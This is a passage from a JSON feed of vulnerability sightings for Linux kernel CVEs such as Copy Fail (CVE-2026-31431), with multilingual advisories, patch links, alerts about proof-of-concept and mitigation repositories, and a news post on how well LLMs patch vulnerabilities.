\u0445\u0440\u0430\u043d\u044f\u0449\u0438\u0435\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0430\u0445, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0430\u043a\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0430 \u0437\u0430\u0442\u0435\u043c \u0441\u0435\u0442\u0435\u0432\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u0430 \u043c\u0435\u0441\u0442\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u0443\u0434\u0430, \u043a\u0443\u0434\u0430 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u043e \u0431\u044b \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0420\u0430\u043d\u0435\u0435:\n\n- Copy Fail (CVE-2026-31431) \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0432 \u043a\u043e\u043d\u0446\u0435 \u0430\u043f\u0440\u0435\u043b\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u043e\u0434\u0443\u043b\u044c algif_aead \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0447\u0435\u0442\u044b\u0440\u0435\u0445\u0431\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446.\n\n- DirtyFrag (CVE-2026-43284 \u0438 CVE-2026-43500) \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c 7 \u043c\u0430\u044f, \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u044f \u043f\u0443\u0442\u0438 IPsec ESP \u0438 RxRPC \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u043f\u0438\u0441\u0438.\n\n- Fragnesia (CVE-2026-46300) \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c 13 \u043c\u0430\u044f \u0438 \u043e\u0431\u043e\u0448\u043b\u0430 \u043f\u0430\u0442\u0447 DirtyFrag \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043e\u0448\u0438\u0431\u043a\u0435 \u0441\u0431\u0440\u043e\u0441\u0430 \u0444\u043b\u0430\u0433\u0430 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 skb_try_coalesce().\n\n\u041a\u0430\u0436\u0434\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u043b\u043e \u043e\u0434\u0438\u043d \u043f\u0443\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0434\u0440\u0443\u0433\u0438\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438. DirtyClone \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u0430 \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 __pskb_copy_fclone(), \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f skb_shift(), \u0431\u043e\u043b\u0435\u0435 \u0448\u0438\u0440\u043e\u043a\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 CVE \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u043e\u0432, \u0433\u0434\u0435 \u0442\u043e\u0442 \u0436\u0435 \u0444\u043b\u0430\u0433 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u0442\u0435\u0440\u044f\u043d.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432 \u043e\u0434\u043d\u043e\u0439 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u042d\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430: \u043a\u0430\u0436\u0434\u044b\u0439 \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u043a\u043e\u0434\u0430, \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u044e\u0449\u0438\u0439 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u044b skb, \u0434\u043e\u043b\u0436\u0435\u043d \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0431\u0438\u0442 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430.\n\n\u0412 \u044f\u0434\u0440\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043d\u0443\u043b\u0435\u0432\u044b\u043c \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c, \u0445\u0440\u0430\u043d\u044f\u0449\u0443\u044e\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0430\u0445, \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0430 \u043e\u0434\u0438\u043d-\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u0442\u0435\u0440\u044f\u043d\u043d\u044b\u0439 \u0444\u043b\u0430\u0433 \u0432 \u043b\u044e\u0431\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u0438\u043c\u0438\u0442\u0438\u0432 \u0437\u0430\u043f\u0438\u0441\u0438. \u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u043b \u043f\u0443\u0442\u044c, \u0433\u0434\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0435 \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u043b\u0441\u044f.\n\n\u0425\u0451\u043d\u0432\u0443 \u041a\u0438\u043c 16 \u043c\u0430\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b \u0431\u043e\u043b\u0435\u0435 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0439 \u043f\u0430\u0442\u0447, \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u043e\u0432.\n\n\u041e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e 21 \u043c\u0430\u044f (\u043a\u043e\u043c\u043c\u0438\u0442 48f6a5356a33), 23 \u043c\u0430\u044f \u0435\u043c\u0443 \u0431\u044b\u043b \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d CVE-2026-43503, \u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u0432 Linux v7.1-rc5 24 \u043c\u0430\u044f.", "creation_timestamp": "2026-07-14T00:00:45.110098Z"}, {"uuid": "2576b493-7626-4524-93e8-5e6414928aa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31694", "type": "seen", "source": "https://t.me/bdufstecru/3283", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 cache fuse_add_dirent_to_cache() \u043c\u043e\u0434\u0443\u043b\u044f fs/fuse/readdir.c \u044f\u0434\u0440\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Linux \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438\n\nBDU:2026-09090\nCVE-2026-31694\n\n\u0412 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0442\u044c\u0441\u044f \"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c LINUX\", \u0438\u0437\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u0432 \u043c\u0435\u0442\u043e\u0434\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0435 \u0424\u0421\u0422\u042d\u041a \u0420\u043e\u0441\u0441\u0438\u0438, \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u043c 25 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\n\u0414\u043b\u044f Linux:\nhttps://lore.kernel.org/linux-cve-announce/2026050139-CVE-2026-31694-f974@gregkh/\nhttps://git.kernel.org/stable/c/038e61812fa52ef62bad2cfc96bf37dc0db47c1e\nhttps://git.kernel.org/stable/c/1d4a517fa90480c52fd452fea2686cd80f773ce2\nhttps://git.kernel.org/stable/c/3059f9abe7f1ba8fddf3c86c5faa1eeacf07e7d4\nhttps://git.kernel.org/stable/c/45c05af36311624c1148123caeb011312495d86b\nhttps://git.kernel.org/stable/c/474ce83c96a55f2eeb14dee2be375eeadfdacdf5\nhttps://git.kernel.org/stable/c/51a8de6c50bf947c8f534cd73da4c8f0a13e7bed\nhttps://git.kernel.org/stable/c/7de93abfaae1b2dc94da8a07a36421bd073f1d8f\nhttps://git.kernel.org/stable/c/d23ad78bfd205eac26766e38ba7d79f279131098\n\n\u0414\u043b\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Red Hat Inc.:\nhttps://access.redhat.com/security/cve/cve-2026-31694\n\n\u0414\u043b\u044f Debian GNU/Linux:\nhttps://security-tracker.debian.org/tracker/CVE-2026-31694", "creation_timestamp": "2026-07-14T01:00:05.108789Z"}, {"uuid": "e25c84e0-c989-4466-a13e-0d5d8938dc06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/nine-ch.bsky.social/post/3mqlv62fe3n25", "content": "Wenn die rote Lampe leuchtet: 0-Day im Linux-Kernel (CVE-2026-31431), noch ohne Patch. Ein paar Zeilen Python f\u00fcr root. F\u00fcnf Engineers sicherten die Flotte in einer Stunde ab, ohne Drama. NKE/Deploio liefen unber\u00fchrt auf Flatcar. \ud83d\udd12 nine.ch/de/blog/linux-kernel-0day-copy-fail/ #security #top #nine", "creation_timestamp": "2026-07-14T09:25:05.102666Z"}, {"uuid": "2af53ccc-376b-493d-9616-15e1992748f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-195-02", "content": "", "creation_timestamp": "2026-07-14T16:15:07.604180Z"}, {"uuid": "b8950cdd-e07d-46da-8b57-2c6c84bd4886", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/97920", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-python\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 1m1ssher\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-13 16:35:12\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nZero-dependency Python PoC for CVE-2026-31431, Linux kernel LPE via AF_ALG/splice page-cache corruption.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-14T00:00:08.082607Z"}, {"uuid": "bd2d5cae-33c3-43fe-8b9e-19f6bdfbc622", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/kasperskyb2b/2293", "content": "\ud83d\ude1e \u0418\u0418 \u043f\u043b\u043e\u0445\u043e \u0447\u0438\u043d\u0438\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\n\u0425\u043e\u0442\u044f \u0418\u0418 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0441\u043a\u043e\u0440\u0438\u043b \u043f\u043e\u0438\u0441\u043a \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0441 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c LLM \u0434\u043b\u044f \u0438\u0445 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043d\u0435 \u0432\u0441\u0451 \u0442\u0430\u043a \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u043a\u043e\u0440\u043c\u0438\u043b\u0438 \u0434\u0432\u0443\u043c \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u043c \u043c\u043e\u0434\u0435\u043b\u044f\u043c \u0448\u0435\u0441\u0442\u044c \u0441\u0432\u0435\u0436\u0438\u0445 \u0438 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0438 CVE  \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u044b \u043f\u043e\u0447\u0442\u0438 \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u0437\u043d\u0430\u0435\u0442\u0435: CVE-2026-31431 (CopyFail), CVE-2026-34197 (RCE \u0432 ActiveMQ), CVE-2026-45185 (DeadLetter, RCE \u0432 EXIM) \u0438 \u0434\u0440. \u0417\u0430\u0442\u0435\u043c \u0434\u043b\u044f \u043d\u0438\u0445 \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0430\u0442\u0447\u0438 \u2014 6080 (!) \u0440\u0430\u0437.\n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b:\n\ud83e\udd73 26% \u2014 \u043f\u0430\u0442\u0447 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043d\u0435 \u043c\u0435\u043d\u044f\u044f \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f;\n\ud83e\udd28 20% \u2014 \u043f\u0430\u0442\u0447 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043d\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043c\u0435\u043d\u044f\u044f \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0443 \u0441 allow by default \u043d\u0430 deny);\n\ud83d\uddff \u0432 \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0445\u0441\u044f ~53% \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u043f\u0430\u0442\u0447 \u043b\u0438\u0431\u043e \u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043b\u0438\u0431\u043e \u0432\u043d\u043e\u0441\u0438\u043b \u043d\u043e\u0432\u0443\u044e, \u043b\u0438\u0431\u043e \u0438 \u0442\u043e, \u0438 \u0434\u0440\u0443\u0433\u043e\u0435 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430 \u043d\u0430 GPT 5.5 \u0438 Opus 4.8 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 2-3 \u0434\u043e\u043b\u043b\u0430\u0440\u0430, \u0431\u0435\u0437 \u0443\u0447\u0451\u0442\u0430 \u0442\u043e\u0433\u043e \u043d\u044e\u0430\u043d\u0441\u0430, \u0447\u0442\u043e \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u043d\u0430\u0434\u043e \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0442\u044c \u043c\u043d\u043e\u0433\u043e\u043a\u0440\u0430\u0442\u043d\u043e, \u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440.\n\n\u0412 \u043e\u0442\u0447\u0451\u0442\u0435 \u0435\u0441\u0442\u044c \u0437\u0430\u0431\u0430\u0432\u043d\u044b\u0439 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0410\u043d\u0442\u0440\u043e\u043f\u0438\u043a\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u043f\u0430\u0442\u0447\u0438 \u043d\u0443\u0436\u043d\u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435. \u0412\u0440\u043e\u0434\u0435 \u0438 \u043d\u0435 \u043f\u043e\u0441\u043f\u043e\u0440\u0438\u0448\u044c, \u043d\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u044d\u0442\u043e\u0433\u043e \u0433\u043b\u0443\u0431\u043e\u043a\u043e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0430 \u0445\u043e\u0440\u043e\u0448\u043e \u0432\u0438\u0434\u043d\u044b \u043a\u0430\u0436\u0434\u044b\u0439 \u0432\u0442\u043e\u0440\u043e\u0439 \u0432\u0442\u043e\u0440\u043d\u0438\u043a \u043c\u0435\u0441\u044f\u0446\u0430, \u0430 \u0432\u0435\u0440\u043d\u0435\u0435 \u0441\u043f\u0443\u0441\u0442\u044f 2-3 \u0434\u043d\u044f \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0433\u043e. \u041d\u0443 \u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0432 \u0434\u043d\u0438, \u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 GitHub. \n\n#\u043d\u043e\u0432\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2026-08-21T00:00:09.842428Z"}, {"uuid": "24104ddf-518d-42cb-a679-78e50815449e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/89594", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-simple-test\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tematemaru\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-19 07:54:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:09.189496Z"}, {"uuid": "b1ee1527-a8c9-4428-aba1-d28ae5504a08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/89584", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-guard\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a juliosuas\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 2  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-19 05:23:39\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nFast, auditable Linux mitigation for CVE-2026-31431 Copy Fail: algif_aead block, verification, and AF_ALG seccomp hardening.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:09.247652Z"}, {"uuid": "135da092-9c83-48dc-8d49-9a0766db87ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 